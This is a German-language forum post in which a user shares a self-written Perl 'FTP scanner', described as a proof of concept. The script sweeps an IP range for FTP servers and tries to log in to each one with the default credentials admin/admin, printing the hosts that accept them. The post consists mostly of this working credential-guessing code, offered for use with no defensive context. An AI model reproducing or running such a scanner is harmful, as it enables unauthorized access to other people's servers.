| BlackLotus |
|
 |
 |
| Anmeldedatum: 04.01.2006 |
| Beiträge: 717 |
| Wohnort: www and 127.0.0.1/localhost |
|
|
|
|
 |
|
Sieht so aus als wäre ich heute in Perl Laune^^
Ich hab nen Programm geschrieben das IP-Ranges nach FTPs durchsuch^^
Dabei sucht er nicht nur die FTPs sondern überprüft auch ob sie leicht zu knacken sind.
Da das nur nen poc ist testet die Versionn ur admin und admin beinhaltet noch keine thread etc. aber is ganz nett^^
| Code: | #!/usr/bin/perl
use Net::FTP;
my $test="0";
print "FTP-scanner 0.1 alpha
by BlackLotus
_____________________
Start IP: ";
my $ipstart = <STDIN>;
chomp ($ipstart);
print "End IP: ";
my $ipstop = <STDIN>;
chomp ($ipstop);
$ipstart =~ m/(\d\d\d?).(\d\d?\d?).(\d\d?\d?).(\d\d?\d?)/;
my ($s1,$s2,$s3,$s4) = ($1,$2,$3,$4);
$ipstop =~ m/(\d\d\d?).(\d\d?\d?).(\d\d?\d?).(\d\d?\d?)/;
my ($t1,$t2,$t3,$t4) = ($1,$2,$3,$4);
$username="admin";
$password="admin";
for (my $i=$s4;$i<$t4+1;$i++)
{
$ipstart=$s1.".".$s2.".".$s3.".".$i;
$ftp=Net::FTP->new($ipstart, Debug=>0,Timeout=>1,Port=> 21) and $test="1";
if ($test=="1"){
$ftp->login($username, $password) and print "\n".$username."@".$password.$ipstart."\n";
$ftp->quit();
$test="0"
}
}
print "\n By BlackLotus \n"
|
|
|
